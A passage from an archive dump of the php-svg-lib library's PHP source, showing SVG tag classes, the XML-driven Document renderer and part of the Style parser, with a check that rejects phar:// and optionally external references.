        $this->document->getSurface()->ellipse($this->cx, $this->cy, $this->rx, $this->ry, 0, 0, 360, false);
    }
} 
vendor/dompdf/php-svg-lib/src/Svg/Tag/Anchor.php000066600000000315151150443010015423 0ustar00<?php
/**
 * @package php-svg-lib
 * @link    http://github.com/dompdf/php-svg-lib
 * @license GNU LGPLv3+ http://www.gnu.org/copyleft/lesser.html
 */

namespace Svg\Tag;

class Anchor extends Group
{

} 
vendor/dompdf/php-svg-lib/src/Svg/Tag/Stop.php000066600000000404151150443010015135 0ustar00<?php
/**
 * @package php-svg-lib
 * @link    http://github.com/dompdf/php-svg-lib
 * @license GNU LGPLv3+ http://www.gnu.org/copyleft/lesser.html
 */

namespace Svg\Tag;

class Stop extends AbstractTag
{
    public function start($attributes)
    {

    }
} 
vendor/dompdf/php-svg-lib/src/Svg/Tag/Circle.php000066600000001652151150443010015417 0ustar00<?php
/**
 * @package php-svg-lib
 * @link    http://github.com/dompdf/php-svg-lib
 * @license GNU LGPLv3+ http://www.gnu.org/copyleft/lesser.html
 */

namespace Svg\Tag;

use Svg\Style;

class Circle extends Shape
{
    protected $cx = 0;
    protected $cy = 0;
    protected $r;

    public function start($attributes)
    {
        if (isset($attributes['cx'])) {
            $width = $this->document->getWidth();
            $this->cx = $this->convertSize($attributes['cx'], $width);
        }
        if (isset($attributes['cy'])) {
            $height = $this->document->getHeight();
            $this->cy = $this->convertSize($attributes['cy'], $height);
        }
        if (isset($attributes['r'])) {
            $diagonal = $this->document->getDiagonal();
            $this->r = $this->convertSize($attributes['r'], $diagonal);
        }

        $this->document->getSurface()->circle($this->cx, $this->cy, $this->r);
    }
} 
vendor/dompdf/php-svg-lib/src/Svg/Tag/Text.php000066600000003232151150443010015136 0ustar00<?php
/**
 * @package php-svg-lib
 * @link    http://github.com/dompdf/php-svg-lib
 * @license GNU LGPLv3+ http://www.gnu.org/copyleft/lesser.html
 */

namespace Svg\Tag;

use Svg\Style;

class Text extends Shape
{
    protected $x = 0;
    protected $y = 0;
    protected $text = "";

    public function start($attributes)
    {
        $height = $this->document->getHeight();
        $this->y = $height;

        if (isset($attributes['x'])) {
            $width = $this->document->getWidth();
            $this->x = $this->convertSize($attributes['x'], $width);
        }
        if (isset($attributes['y'])) {
            $this->y = $height - $this->convertSize($attributes['y'], $height);
        }

        $this->document->getSurface()->transform(1, 0, 0, -1, 0, $height);
    }

    public function end()
    {
        $surface = $this->document->getSurface();
        $x = $this->x;
        $y = $this->y;
        $style = $surface->getStyle();
        $surface->setFont($style->fontFamily, $style->fontStyle, $style->fontWeight);

        switch ($style->textAnchor) {
            case "middle":
                $width = $surface->measureText($this->text);
                $x -= $width / 2;
                break;

            case "end":
                $width = $surface->measureText($this->text);
                $x -= $width;
                break;
        }

        $surface->fillText($this->getText(), $x, $y);
    }

    protected function after()
    {
        $this->document->getSurface()->restore();
    }

    public function appendText($text)
    {
        $this->text .= $text;
    }

    public function getText()
    {
        return trim($this->text);
    }
} 
vendor/dompdf/php-svg-lib/src/Svg/Tag/StyleTag.php000066600000000747151150443010015756 0ustar00<?php
/**
 * @package php-svg-lib
 * @link    http://github.com/dompdf/php-svg-lib
 * @license GNU LGPLv3+ http://www.gnu.org/copyleft/lesser.html
 */

namespace Svg\Tag;

use Sabberworm\CSS;

class StyleTag extends AbstractTag
{
    protected $text = "";

    public function end()
    {
        $parser = new CSS\Parser($this->text);
        $this->document->appendStyleSheet($parser->parse());
    }

    public function appendText($text)
    {
        $this->text .= $text;
    }
} 
vendor/dompdf/php-svg-lib/src/Svg/Tag/RadialGradient.php000066600000000416151150443010017065 0ustar00<?php
/**
 * @package php-svg-lib
 * @link    http://github.com/dompdf/php-svg-lib
 * @license GNU LGPLv3+ http://www.gnu.org/copyleft/lesser.html
 */

namespace Svg\Tag;

class RadialGradient extends AbstractTag
{
    public function start($attributes)
    {

    }
} 
vendor/dompdf/php-svg-lib/src/Svg/Tag/ClipPath.php000066600000001152151150443010015715 0ustar00<?php
/**
 * @package php-svg-lib
 * @link    http://github.com/dompdf/php-svg-lib
 * @license GNU LGPLv3+ http://www.gnu.org/copyleft/lesser.html
 */

namespace Svg\Tag;

use Svg\Style;

class ClipPath extends AbstractTag
{
    protected function before($attributes)
    {
        $surface = $this->document->getSurface();

        $surface->save();

        $style = $this->makeStyle($attributes);

        $this->setStyle($style);
        $surface->setStyle($style);

        $this->applyTransform($attributes);
    }

    protected function after()
    {
        $this->document->getSurface()->restore();
    }
} 
vendor/dompdf/php-svg-lib/src/Svg/Tag/AbstractTag.php000066600000023436151150443010016421 0ustar00<?php
/**
 * @package php-svg-lib
 * @link    http://github.com/dompdf/php-svg-lib
 * @license GNU LGPLv3+ http://www.gnu.org/copyleft/lesser.html
 */

namespace Svg\Tag;

use Svg\CssLength;
use Svg\Document;
use Svg\Style;

abstract class AbstractTag
{
    /** @var Document */
    protected $document;

    public $tagName;

    /** @var Style */
    protected $style;

    protected $attributes = array();

    protected $hasShape = true;

    /** @var self[] */
    protected $children = array();

    public function __construct(Document $document, $tagName)
    {
        $this->document = $document;
        $this->tagName = $tagName;
    }

    public function getDocument(){
        return $this->document;
    }

    /**
     * @return Group|null
     */
    public function getParentGroup() {
        $stack = $this->getDocument()->getStack();
        for ($i = count($stack)-2; $i >= 0; $i--) {
            $tag = $stack[$i];

            if ($tag instanceof Group || $tag instanceof Document) {
                return $tag;
            }
        }

        return null;
    }

    public function handle($attributes)
    {
        $this->attributes = $attributes;

        if (!$this->getDocument()->inDefs || $this instanceof StyleTag) {
            $this->before($attributes);
            $this->start($attributes);
        }
    }

    public function handleEnd()
    {
        if (!$this->getDocument()->inDefs || $this instanceof StyleTag) {
            $this->end();
            $this->after();
        }
    }

    protected function before($attributes)
    {
    }

    protected function start($attributes)
    {
    }

    protected function end()
    {
    }

    protected function after()
    {
    }

    public function getAttributes()
    {
        return $this->attributes;
    }

    protected function setStyle(Style $style)
    {
        $this->style = $style;

        if ($style->display === "none") {
            $this->hasShape = false;
        }
    }

    /**
     * @return Style
     */
    public function getStyle()
    {
        return $this->style;
    }

    /**
     * Make a style object from the tag and its attributes
     *
     * @param array $attributes
     *
     * @return Style
     */
    protected function makeStyle($attributes) {
        $style = new Style($this->document);
        $style->inherit($this);
        $style->fromStyleSheets($this, $attributes);
        $style->fromAttributes($attributes);

        return $style;
    }

    protected function applyTransform($attributes)
    {

        if (isset($attributes["transform"])) {
            $surface = $this->document->getSurface();

            $transform = $attributes["transform"];

            $matches = array();
            preg_match_all(
                '/(matrix|translate|scale|rotate|skew|skewX|skewY)\((.*?)\)/is',
                $transform,
                $matches,
                PREG_SET_ORDER
            );

            $transformations = array();
            foreach ($matches as $match) {
                $arguments = preg_split('/[ ,]+/', $match[2]);
                array_unshift($arguments, $match[1]);
                $transformations[] = $arguments;
            }

            foreach ($transformations as $t) {
                switch ($t[0]) {
                    case "matrix":
                        $surface->transform($t[1], $t[2], $t[3], $t[4], $t[5], $t[6]);
                        break;

                    case "translate":
                        $surface->translate($t[1], isset($t[2]) ? $t[2] : 0);
                        break;

                    case "scale":
                        $surface->scale($t[1], isset($t[2]) ? $t[2] : $t[1]);
                        break;

                    case "rotate":
                        if (isset($t[2])) {
                            $t[3] = isset($t[3]) ? $t[3] : 0;
                            $surface->translate($t[2], $t[3]);
                            $surface->rotate($t[1]);
                            $surface->translate(-$t[2], -$t[3]);
                        } else {
                            $surface->rotate($t[1]);
                        }
                        break;

                    case "skewX":
                        $tan_x = tan(deg2rad($t[1]));
                        $surface->transform(1, 0, $tan_x, 1, 0, 0);
                        break;

                    case "skewY":
                        $tan_y = tan(deg2rad($t[1]));
                        $surface->transform(1, $tan_y, 0, 1, 0, 0);
                        break;
                }
            }
        }
    }

    /**
     * Apply a viewBox transform to the element
     *
     * @param array $attributes
     */
    protected function applyViewbox($attributes) {
        if (!isset($attributes["viewbox"])) {
            return;
        }

        $surface = $this->document->getSurface();
        $viewBox = preg_split('/[\s,]+/is', trim($attributes['viewbox']));
        if (count($viewBox) != 4) {
            return;
        }

        // Computing the equivalent transform of an SVG viewport
        // https://svgwg.org/svg2-draft/coords.html#ComputingAViewportsTransform

        // 1. Let vb-x, vb-y, vb-width, vb-height be the min-x, min-y, width and height values of the viewBox attribute respectively.
        [$vbX, $vbY, $vbWidth, $vbHeight] = $viewBox;

        if ($vbWidth < 0 || $vbHeight < 0) {
            return;
        }

        // correct solution is to not render, for now scaling to 0 below
        //if ($vbWidth == 0 || $vbHeight == 0) {
        //}

        // 2. Let e-x, e-y, e-width, e-height be the position and size of the element respectively.
        $eX = $attributes["x"] ?? 0;
        $eY = $attributes["y"] ?? 0;
        $eWidth = $attributes["width"] ?? $this->document->getWidth();
        $eHeight = $attributes["height"] ?? $this->document->getHeight();

        // 3. Let align be the align value of preserveAspectRatio, or 'xMidYMid' if preserveAspectRatio is not defined.
        $preserveAspectRatio = explode(" ", $attributes["preserveAspectRatio"] ?? "xMidYMid meet");
        $align = $preserveAspectRatio[0];

        // 4. Let meetOrSlice be the meetOrSlice value of preserveAspectRatio, or 'meet' if preserveAspectRatio is not defined or if meetOrSlice is missing from this value.
        $meetOrSlice = $meetOrSlice ?? "meet";

        // 5. Initialize scale-x to e-width/vb-width.
        $scaleX = $vbWidth == 0 ? 0 : ($eWidth / $vbWidth);

        // 6. Initialize scale-y to e-height/vb-height.
        $scaleY = $vbHeight == 0 ? 0 : ($eHeight / $vbHeight);

        // 7. If align is not 'none' and meetOrSlice is 'meet', set the larger of scale-x and scale-y to the smaller.
        if ($align !== "none" && $meetOrSlice === "meet") {
            $scaleX = min($scaleX, $scaleY);
            $scaleY = min($scaleX, $scaleY);
        }

        // 8. Otherwise, if align is not 'none' and meetOrSlice is 'slice', set the smaller of scale-x and scale-y to the larger.
        elseif ($align !== "none" && $meetOrSlice === "slice") {
            $scaleX = max($scaleX, $scaleY);
            $scaleY = max($scaleX, $scaleY);
        }

        // 9. Initialize translate-x to e-x - (vb-x * scale-x).
        $translateX = $eX - ($vbX * $scaleX);

        // 10. Initialize translate-y to e-y - (vb-y * scale-y)
        $translateY = $eY - ($vbY * $scaleY);

        // 11. If align contains 'xMid', add (e-width - vb-width * scale-x) / 2 to translate-x.
        if (strpos($align, "xMid") !== false) {
            $translateX += ($eWidth - $vbWidth * $scaleX) / 2;
        }

        // 12. If align contains 'xMax', add (e-width - vb-width * scale-x) to translate-x.
        if (strpos($align, "xMax") !== false) {
            $translateX += ($eWidth - $vbWidth * $scaleX);
        }

        // 13. If align contains 'yMid', add (e-height - vb-height * scale-y) / 2 to translate-y.
        if (strpos($align, "yMid") !== false) {
            $translateX += ($eHeight - $vbHeight * $scaleY) / 2;
        }

        // 14. If align contains 'yMax', add (e-height - vb-height * scale-y) to translate-y.
        if (strpos($align, "yMid") !== false) {
            $translateX += ($eHeight - $vbHeight * $scaleY);
        }

        $surface->translate($translateX, $translateY);
        $surface->scale($scaleX, $scaleY);
    }

    /**
     * Convert the given size for the context of this current tag.
     * Takes a pixel-based reference, which is usually specific to the context of the size,
     * but the actual reference size will be decided based upon the unit used.
     *
     * @param string $size
     * @param float $pxReference
     *
     * @return float
     */
    protected function convertSize(string $size, float $pxReference): float
    {
        $length = new CssLength($size);
        $reference = $pxReference;
        $defaultFontSize = 12;

        switch ($length->getUnit()) {
            case "em":
                $reference = $this->style->fontSize ?? $defaultFontSize;
                break;
            case "rem":
                $reference = $this->document->style->fontSize ?? $defaultFontSize;
                break;
            case "ex":
            case "ch":
                $emRef = $this->style->fontSize ?? $defaultFontSize;
                $reference = $emRef * 0.5;
                break;
            case "vw":
                $reference = $this->getDocument()->getWidth();
                break;
            case "vh":
                $reference = $this->getDocument()->getHeight();
                break;
            case "vmin":
                $reference = min($this->getDocument()->getHeight(), $this->getDocument()->getWidth());
                break;
            case "vmax":
                $reference = max($this->getDocument()->getHeight(), $this->getDocument()->getWidth());
                break;
        }

        return (new CssLength($size))->toPixels($reference);
    }
} 
vendor/dompdf/php-svg-lib/src/Svg/Tag/LinearGradient.php000066600000004320151150443010017101 0ustar00<?php
/**
 * @package php-svg-lib
 * @link    http://github.com/dompdf/php-svg-lib
 * @license GNU LGPLv3+ http://www.gnu.org/copyleft/lesser.html
 */

namespace Svg\Tag;


use Svg\Gradient;
use Svg\Style;

class LinearGradient extends AbstractTag
{
    protected $x1;
    protected $y1;
    protected $x2;
    protected $y2;

    /** @var Gradient\Stop[] */
    protected $stops = array();

    public function start($attributes)
    {
        parent::start($attributes);

        if (isset($attributes['x1'])) {
            $this->x1 = $attributes['x1'];
        }
        if (isset($attributes['y1'])) {
            $this->y1 = $attributes['y1'];
        }
        if (isset($attributes['x2'])) {
            $this->x2 = $attributes['x2'];
        }
        if (isset($attributes['y2'])) {
            $this->y2 = $attributes['y2'];
        }
    }

    public function getStops() {
        if (empty($this->stops)) {
            foreach ($this->children as $_child) {
                if ($_child->tagName != "stop") {
                    continue;
                }

                $_stop = new Gradient\Stop();
                $_attributes = $_child->attributes;

                // Style
                if (isset($_attributes["style"])) {
                    $_style = Style::parseCssStyle($_attributes["style"]);

                    if (isset($_style["stop-color"])) {
                        $_stop->color = Style::parseColor($_style["stop-color"]);
                    }

                    if (isset($_style["stop-opacity"])) {
                        $_stop->opacity = max(0, min(1.0, $_style["stop-opacity"]));
                    }
                }

                // Attributes
                if (isset($_attributes["offset"])) {
                    $_stop->offset = $_attributes["offset"];
                }
                if (isset($_attributes["stop-color"])) {
                    $_stop->color = Style::parseColor($_attributes["stop-color"]);
                }
                if (isset($_attributes["stop-opacity"])) {
                    $_stop->opacity = max(0, min(1.0, $_attributes["stop-opacity"]));
                }

                $this->stops[] = $_stop;
            }
        }

        return $this->stops;
    }
} 
vendor/dompdf/php-svg-lib/src/Svg/Tag/Image.php000066600000004012151150443010015231 0ustar00<?php
/**
 * @package php-svg-lib
 * @link    http://github.com/dompdf/php-svg-lib
 * @license GNU LGPLv3+ http://www.gnu.org/copyleft/lesser.html
 */

namespace Svg\Tag;

use Svg\Style;

class Image extends AbstractTag
{
    protected $x = 0;
    protected $y = 0;
    protected $width = 0;
    protected $height = 0;
    protected $href = null;

    protected function before($attributes)
    {
        parent::before($attributes);

        $surface = $this->document->getSurface();
        $surface->save();

        $this->applyTransform($attributes);
    }

    public function start($attributes)
    {
        $height = $this->document->getHeight();
        $width = $this->document->getWidth();
        $this->y = $height;

        if (isset($attributes['x'])) {
            $this->x = $this->convertSize($attributes['x'], $width);
        }
        if (isset($attributes['y'])) {
            $this->y = $height - $this->convertSize($attributes['y'], $height);
        }

        if (isset($attributes['width'])) {
            $this->width = $this->convertSize($attributes['width'], $width);
        }
        if (isset($attributes['height'])) {
            $this->height = $this->convertSize($attributes['height'], $height);
        }

        if (isset($attributes['xlink:href'])) {
            $this->href = $attributes['xlink:href'];
        }

        if (isset($attributes['href'])) {
            $this->href = $attributes['href'];
        }

        $this->document->getSurface()->transform(1, 0, 0, -1, 0, $height);

        $scheme = \strtolower(parse_url($this->href, PHP_URL_SCHEME) ?: "");
        if (
            $scheme === "phar" || \strtolower(\substr($this->href, 0, 7)) === "phar://"
            || ($this->document->allowExternalReferences === false && $scheme !== "data")
        ) {
            return;
        }

        $this->document->getSurface()->drawImage($this->href, $this->x, $this->y, $this->width, $this->height);
    }

    protected function after()
    {
        $this->document->getSurface()->restore();
    }
} 
vendor/dompdf/php-svg-lib/src/Svg/Gradient/Stop.php000066600000000402151150443010016155 0ustar00<?php
/**
 * @package php-svg-lib
 * @link    http://github.com/dompdf/php-svg-lib
 * @license GNU LGPLv3+ http://www.gnu.org/copyleft/lesser.html
 */

namespace Svg\Gradient;

class Stop
{
    public $offset;
    public $color;
    public $opacity = 1.0;
}
vendor/dompdf/php-svg-lib/src/Svg/Document.php000066600000025013151150443010015256 0ustar00<?php
/**
 * @package php-svg-lib
 * @link    http://github.com/dompdf/php-svg-lib
 * @license GNU LGPLv3+ http://www.gnu.org/copyleft/lesser.html
 */

namespace Svg;

use Svg\Surface\SurfaceInterface;
use Svg\Tag\AbstractTag;
use Svg\Tag\Anchor;
use Svg\Tag\Circle;
use Svg\Tag\Ellipse;
use Svg\Tag\Group;
use Svg\Tag\ClipPath;
use Svg\Tag\Image;
use Svg\Tag\Line;
use Svg\Tag\LinearGradient;
use Svg\Tag\Path;
use Svg\Tag\Polygon;
use Svg\Tag\Polyline;
use Svg\Tag\Rect;
use Svg\Tag\Stop;
use Svg\Tag\Symbol;
use Svg\Tag\Text;
use Svg\Tag\StyleTag;
use Svg\Tag\UseTag;

class Document extends AbstractTag
{
    protected $filename;
    protected $_defs_depth = 0;
    public $inDefs = false;

    protected $x;
    protected $y;
    protected $width;
    protected $height;

    protected $subPathInit;
    protected $pathBBox;
    protected $viewBox;

    /** @var SurfaceInterface */
    protected $surface;

    /** @var AbstractTag[] */
    protected $stack = array();

    /** @var AbstractTag[] */
    protected $defs = array();

    /** @var \Sabberworm\CSS\CSSList\Document[] */
    protected $styleSheets = array();

    public $allowExternalReferences = true;

    public function loadFile($filename)
    {
        $this->filename = $filename;
    }

    protected function initParser() {
        $parser = xml_parser_create("utf-8");
        xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, false);
        xml_set_element_handler(
            $parser,
            array($this, "_tagStart"),
            array($this, "_tagEnd")
        );
        xml_set_character_data_handler(
            $parser,
            array($this, "_charData")
        );

        return $parser;
    }

    public function __construct() {

    }

    /**
     * Increase the nesting level for defs-like elements
     *
     * @return int
     */
    public function enterDefs () {
        $this->_defs_depth++;
        $this->inDefs = true;
        return $this->_defs_depth;
    }

    /**
     * Decrease the nesting level for defs-like elements
     *
     * @return int
     */
    public function exitDefs () {
        $this->_defs_depth--;
        if ($this->_defs_depth < 0) {
            $this->_defs_depth = 0;
        }
        $this->inDefs = ($this->_defs_depth > 0 ? true : false);
        return $this->_defs_depth;
    }

    /**
     * @return SurfaceInterface
     */
    public function getSurface()
    {
        return $this->surface;
    }

    public function getStack()
    {
        return $this->stack;
    }

    public function getWidth()
    {
        return $this->width;
    }

    public function getHeight()
    {
        return $this->height;
    }

    public function getDiagonal()
    {
        return sqrt(($this->width)**2 + ($this->height)**2) / sqrt(2);
    }

    public function getDimensions() {
        $rootAttributes = null;

        $parser = xml_parser_create("utf-8");
        xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, false);
        xml_set_element_handler(
            $parser,
            function ($parser, $name, $attributes) use (&$rootAttributes) {
                if ($name === "svg" && $rootAttributes === null) {
                    $attributes = array_change_key_case($attributes, CASE_LOWER);

                    $rootAttributes = $attributes;
                }
            },
            function ($parser, $name) {}
        );

        $fp = fopen($this->filename, "r");
        while ($line = fread($fp, 8192)) {
            xml_parse($parser, $line, false);

            if ($rootAttributes !== null) {
                break;
            }
        }
        xml_parse($parser, "", true);

        xml_parser_free($parser);

        return $this->handleSizeAttributes($rootAttributes);
    }

    public function handleSizeAttributes($attributes){
        if ($this->width === null) {
            if (isset($attributes["width"])) {
                $width = $this->convertSize($attributes["width"], 400);
                $this->width  = $width;
            }

            if (isset($attributes["height"])) {
                $height = $this->convertSize($attributes["height"], 300);
                $this->height = $height;
            }

            if (isset($attributes['viewbox'])) {
                $viewBox = preg_split('/[\s,]+/is', trim($attributes['viewbox']));
                if (count($viewBox) == 4) {
                    $this->x = $viewBox[0];
                    $this->y = $viewBox[1];

                    if (!$this->width) {
                        $this->width = $viewBox[2];
                    }
                    if (!$this->height) {
                        $this->height = $viewBox[3];
                    }
                }
            }
        }

        return array(
            0        => $this->width,
            1        => $this->height,

            "width"  => $this->width,
            "height" => $this->height,
        );
    }

    public function getDocument(){
        return $this;
    }

    /**
     * Append a style sheet
     *
     * @param \Sabberworm\CSS\CSSList\Document $stylesheet
     */
    public function appendStyleSheet($stylesheet) {
        $this->styleSheets[] = $stylesheet;
    }

    /**
     * Get the document style sheets
     *
     * @return \Sabberworm\CSS\CSSList\Document[]
     */
    public function getStyleSheets() {
        return $this->styleSheets;
    }

    protected function before($attributes)
    {
        $surface = $this->getSurface();

        $style = new DefaultStyle($this);
        $style->inherit($this);
        $style->fromAttributes($attributes);

        $this->setStyle($style);

        $surface->setStyle($style);
    }

    public function render(SurfaceInterface $surface)
    {
        $this->_defs_depth = 0;
        $this->inDefs = false;
        $this->surface = $surface;

        $parser = $this->initParser();

        if ($this->x || $this->y) {
            $surface->translate(-$this->x, -$this->y);
        }

        $fp = fopen($this->filename, "r");
        while ($line = fread($fp, 8192)) {
            xml_parse($parser, $line, false);
        }

        xml_parse($parser, "", true);

        xml_parser_free($parser);
    }

    protected function svgOffset($attributes)
    {
        $this->attributes = $attributes;

        $this->handleSizeAttributes($attributes);
    }

    public function getDef($id) {
        $id = ltrim($id, "#");

        return isset($this->defs[$id]) ? $this->defs[$id] : null;
    }

    private function _tagStart($parser, $name, $attributes)
    {
        $this->x = 0;
        $this->y = 0;

        $tag = null;

        $attributes = array_change_key_case($attributes, CASE_LOWER);

        switch (strtolower($name)) {
            case 'defs':
                $this->enterDefs();
                return;

            case 'svg':
                if (count($this->attributes)) {
                    $tag = new Group($this, $name);
                }
                else {
                    $tag = $this;
                    $this->svgOffset($attributes);
                }
                break;

            case 'path':
                $tag = new Path($this, $name);
                break;

            case 'rect':
                $tag = new Rect($this, $name);
                break;

            case 'circle':
                $tag = new Circle($this, $name);
                break;

            case 'ellipse':
                $tag = new Ellipse($this, $name);
                break;

            case 'image':
                $tag = new Image($this, $name);
                break;

            case 'line':
                $tag = new Line($this, $name);
                break;

            case 'polyline':
                $tag = new Polyline($this, $name);
                break;

            case 'polygon':
                $tag = new Polygon($this, $name);
                break;

            case 'lineargradient':
                $tag = new LinearGradient($this, $name);
                break;

            case 'radialgradient':
                $tag = new LinearGradient($this, $name);
                break;

            case 'stop':
                $tag = new Stop($this, $name);
                break;

            case 'style':
                $tag = new StyleTag($this, $name);
                break;

            case 'a':
                $tag = new Anchor($this, $name);
                break;

            case 'g':
                $tag = new Group($this, $name);
                break;

            case 'symbol':
                $this->enterDefs();
                $tag = new Symbol($this, $name);
                break;
    
            case 'clippath':
                $tag = new ClipPath($this, $name);
                break;

            case 'use':
                $tag = new UseTag($this, $name);
                break;

            case 'text':
                $tag = new Text($this, $name);
                break;

            case 'desc':
                return;
        }

        if ($tag) {
            if (isset($attributes["id"])) {
                $this->defs[$attributes["id"]] = $tag;
            }
            else {
                /** @var AbstractTag $top */
                $top = end($this->stack);
                if ($top && $top != $tag) {
                    $top->children[] = $tag;
                }
            }

            $this->stack[] = $tag;

            $tag->handle($attributes);
        }
    }

    function _charData($parser, $data)
    {
        $stack_top = end($this->stack);

        if ($stack_top instanceof Text || $stack_top instanceof StyleTag) {
            $stack_top->appendText($data);
        }
    }

    function _tagEnd($parser, $name)
    {
        /** @var AbstractTag $tag */
        $tag = null;
        switch (strtolower($name)) {
            case 'defs':
                $this->exitDefs();
                return;

            case 'symbol':
                $this->exitDefs();
                $tag = array_pop($this->stack);
                break;
    
            case 'svg':
            case 'path':
            case 'rect':
            case 'circle':
            case 'ellipse':
            case 'image':
            case 'line':
            case 'polyline':
            case 'polygon':
            case 'radialgradient':
            case 'lineargradient':
            case 'stop':
            case 'style':
            case 'text':
            case 'g':
            case 'clippath':
            case 'use':
            case 'a':
                $tag = array_pop($this->stack);
                break;
        }

        if ((!$this->inDefs && $tag) || $tag instanceof StyleTag) {
            $tag->handleEnd();
        }
    }
} 
vendor/dompdf/php-svg-lib/src/Svg/Style.php000066600000045354151150443010014612 0ustar00<?php
/**
 * @package php-svg-lib
 * @link    http://github.com/dompdf/php-svg-lib
 * @license GNU LGPLv3+ http://www.gnu.org/copyleft/lesser.html
 */

namespace Svg;

use Svg\Tag\AbstractTag;

class Style
{
    const TYPE_COLOR = 1;
    const TYPE_LENGTH = 2;
    const TYPE_NAME = 3;
    const TYPE_ANGLE = 4;
    const TYPE_NUMBER = 5;

    private $_document;
    private $_parentStyle;

    public $color;
    public $opacity;
    public $display;

    public $fill;
    public $fillOpacity;
    public $fillRule;

    public $stroke;
    public $strokeOpacity;
    public $strokeLinecap;
    public $strokeLinejoin;
    public $strokeMiterlimit;
    public $strokeWidth;
    public $strokeDasharray;
    public $strokeDashoffset;

    public $fontFamily = 'serif';
    public $fontSize = 12;
    public $fontWeight = 'normal';
    public $fontStyle = 'normal';
    public $textAnchor = 'start';

    public function __construct($document = null) {
        if ($document !== null) {
            $this->_document = $document;
        }
    }

    protected function getStyleMap()
    {
        return array(
            'color'             => array('color', self::TYPE_COLOR),
            'opacity'           => array('opacity', self::TYPE_NUMBER),
            'display'           => array('display', self::TYPE_NAME),

            'fill'              => array('fill', self::TYPE_COLOR),
            'fill-opacity'      => array('fillOpacity', self::TYPE_NUMBER),
            'fill-rule'         => array('fillRule', self::TYPE_NAME),

            'stroke'            => array('stroke', self::TYPE_COLOR),
            'stroke-dasharray'  => array('strokeDasharray', self::TYPE_NAME),
            'stroke-dashoffset' => array('strokeDashoffset', self::TYPE_NUMBER),
            'stroke-linecap'    => array('strokeLinecap', self::TYPE_NAME),
            'stroke-linejoin'   => array('strokeLinejoin', self::TYPE_NAME),
            'stroke-miterlimit' => array('strokeMiterlimit', self::TYPE_NUMBER),
            'stroke-opacity'    => array('strokeOpacity', self::TYPE_NUMBER),
            'stroke-width'      => array('strokeWidth', self::TYPE_NUMBER),

            'font-family'       => array('fontFamily', self::TYPE_NAME),
            'font-size'         => array('fontSize', self::TYPE_NUMBER),
            'font-weight'       => array('fontWeight', self::TYPE_NAME),
            'font-style'        => array('fontStyle', self::TYPE_NAME),
            'text-anchor'       => array('textAnchor', self::TYPE_NAME),
        );
    }

    /**
     * @param $attributes
     *
     * @return Style
     */
    public function fromAttributes($attributes)
    {
        $this->fillStyles($attributes);

        if (isset($attributes["style"])) {
            $styles = self::parseCssStyle($attributes["style"]);
            $this->fillStyles($styles);
        }
    }

    public function inherit(AbstractTag $tag) {
        $group = $tag->getParentGroup();
        if ($group) {
            $parent_style = $group->getStyle();
            $this->_parentStyle = $parent_style;
            foreach ($parent_style as $_key => $_value) {
                if ($_value !== null) {
                    $this->$_key = $_value;
                }
            }
        }
    }

    public function fromStyleSheets(AbstractTag $tag, $attributes) {
        $class = isset($attributes["class"]) ? preg_split('/\s+/', trim($attributes["class"])) : null;

        $stylesheets = $tag->getDocument()->getStyleSheets();

        $styles = array();

        foreach ($stylesheets as $_sc) {

            /** @var \Sabberworm\CSS\RuleSet\DeclarationBlock $_decl */
            foreach ($_sc->getAllDeclarationBlocks() as $_decl) {

                /** @var \Sabberworm\CSS\Property\Selector $_selector */
                foreach ($_decl->getSelectors() as $_selector) {
                    $_selector = $_selector->getSelector();

                    // Match class name
                    if ($class !== null) {
                        foreach ($class as $_class) {
                            if ($_selector === ".$_class") {
                                /** @var \Sabberworm\CSS\Rule\Rule $_rule */
                                foreach ($_decl->getRules() as $_rule) {
                                    $styles[$_rule->getRule()] = $_rule->getValue() . "";
                                }

                                break 2;
                            }
                        }
                    }

                    // Match tag name
                    if ($_selector === $tag->tagName) {
                        /** @var \Sabberworm\CSS\Rule\Rule $_rule */
                        foreach ($_decl->getRules() as $_rule) {
                            $styles[$_rule->getRule()] = $_rule->getValue() . "";
                        }

                        break;
                    }
                }
            }
        }

        $this->fillStyles($styles);
    }

    protected function fillStyles($styles)
    {
        $style_map = $this->getStyleMap();
        foreach ($style_map as $from => $spec) {
            if (isset($styles[$from])) {
                list($to, $type) = $spec;
                $value = null;
                switch ($type) {
                    case self::TYPE_COLOR:
                        $value = self::parseColor($styles[$from]);
                        if ($value === "currentcolor") {
                            if ($type === "color") {
                                $value = $this->_parentStyle->color;
                            } else {
                                $value = $this->color;
                            }
                        }
                        if (is_array($value) && $value[3] !== 1.0 && array_key_exists("{$from}-opacity", $style_map) === true) {
                            $styles["{$from}-opacity"] = $value[3];
                        }
                        break;

                    case self::TYPE_NUMBER:
                        $value = ($styles[$from] === null) ? null : (float)$styles[$from];
                        break;

                    default:
                        $value = $styles[$from];
                }

                if ($from === "font-family") {
                    $scheme = \strtolower(parse_url($value, PHP_URL_SCHEME) ?: "");
                    if (
                        $scheme === "phar" || \strtolower(\substr($value, 0, 7)) === "phar://"
                        || ($this->_document !== null && $this->_document->allowExternalReferences === false && $scheme !== "data")
                    ) {
                        continue;
                    }
                }

                if ($value !== null) {
                    $this->$to = $value;
                }
            }
        }
    }

    static function parseColor($color)
    {
        $color = strtolower(trim($color));

        $parts = preg_split('/[^,]\s+/', $color, 2);

        if (count($parts) == 2) {
            $color = $parts[1];
        } else {
            $color = $parts[0];
        }

        if ($color === "none") {
            return "none";
        }

        if ($color === "currentcolor") {
            return "currentcolor";
        }

        if ($color === "transparent") {
            return [0.0, 0.0, 0.0, 0.0];
        }

        // SVG color name
        if (isset(self::$colorNames[$color])) {
            return self::parseHexColor(self::$colorNames[$color]);
        }

        // Hex color
        if ($color[0] === "#") {
            return self::parseHexColor($color);
        }

        // RGB color
        if (strpos($color, "rgb") !== false) {
            return self::getQuad($color);
        }

        // HSL color
        if (strpos($color, "hsl") !== false) {
            $quad = self::getQuad($color, true);

            if ($quad == null) {
                return null;
            }

            list($h, $s, $l, $a) = $quad;

            $r = $l;
            $g = $l;
            $b = $l;
            $v = ($l <= 0.5) ? ($l * (1.0 + $s)) : ($l + $s - $l * $s);
            if ($v > 0) {
                $m = $l + $l - $v;
                $sv = ($v - $m) / $v;
                $h *= 6.0;
                $sextant = floor($h);
                $fract = $h - $sextant;
                $vsf = $v * $sv * $fract;
                $mid1 = $m + $vsf;
                $mid2 = $v - $vsf;

                switch ($sextant) {
                    case 0:
                        $r = $v;
                        $g = $mid1;
                        $b = $m;
                        break;
                    case 1:
                        $r = $mid2;
                        $g = $v;
                        $b = $m;
                        break;
                    case 2:
